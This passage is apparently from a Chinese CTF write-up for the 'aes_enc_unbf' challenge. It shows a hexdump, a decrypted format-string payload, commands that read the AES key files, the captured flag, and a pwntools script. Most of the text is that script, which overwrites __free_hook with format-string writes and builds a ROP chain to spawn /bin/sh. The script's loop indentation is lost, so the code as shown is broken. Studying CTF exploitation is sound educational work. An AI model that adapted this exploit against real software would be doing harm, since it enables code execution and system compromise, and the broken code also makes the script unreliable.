0060 - 68 f1 3b 20 70 11 ab f6-12 c9 49 2c 4d 6c 92 f4 h.; p.....I,Ml..
0070 - 5d 69 bd 24 79 8d ad ff-c2 eb ad 4d e0 65 1e f1 ]i.$y......M.e..

Decrypted text is:
\x98\x05\x99\x05\x9a\x05\x9b\x05%240u%7$hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ ls
core
iv.aes
key.aes
x.out
$ cat *.aes
IV{212&5^V!-!}IV
BEGIN-KEY{4x@$^%`w~d##*9}END-KEY

解密AES得到flag为pctf{th4t_m0m3n1-wh3n~f0rm41`SpiLls_0v3r}

其他exp(todo)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level = 'debug'
#p = remote("128.199.224.175", 33000)
p = process("./aes_enc_unbf")

malloc_hook = 0x08230598
main = 0x8048ce0
start = 0x8048796
free_hook = 0x082345f0
int_80 = 0x810fb5e
binsh_poi = 0x8234ec4
bss = 0x8234ecc
test_poi = 0x8048c6a

leave_ret = 0x080487f8
nop = 0x0804fe2f
pop_eax = 0x0804c906
pop_ebx = 0x080ed07f
pop_ecx = 0x081b9a41
pop_edx = 0x08068212


payload = []
payload.append(fmtstr_payload(7, {free_hook: main}))
payload.append(fmtstr_payload(7, {binsh_poi: 0x6e69622f}))
payload.append(fmtstr_payload(7, {binsh_poi+4: 0x0068732f}))
payload.append(fmtstr_payload(7, {bss+4: pop_eax}))
payload.append(fmtstr_payload(7, {bss+8: 0xc}))
payload.append(fmtstr_payload(7, {bss+12: pop_ebx}))
payload.append(fmtstr_payload(7, {bss+16: binsh_poi}))
payload.append(fmtstr_payload(7, {bss+20: pop_ecx}))
payload.append(fmtstr_payload(7, {bss+24: 0x0}))
payload.append(fmtstr_payload(7, {bss+28: pop_edx}))
payload.append(fmtstr_payload(7, {bss+32: 0x0}))
payload.append(fmtstr_payload(7, {bss+36: int_80}))

t1 = "%{}c%42$n".format(bss)
t2 = fmtstr_payload(7, {free_hook: 0x0})

e = 0
for i in payload:

p.sendline(i)
print p.recv()

p.sendline(t1)
for i in range(33332):

print i
p.recv()

print p.recv()
print p.recv()

p.sendline(t2)
print p.recv()
print p.recv()

p.interactive()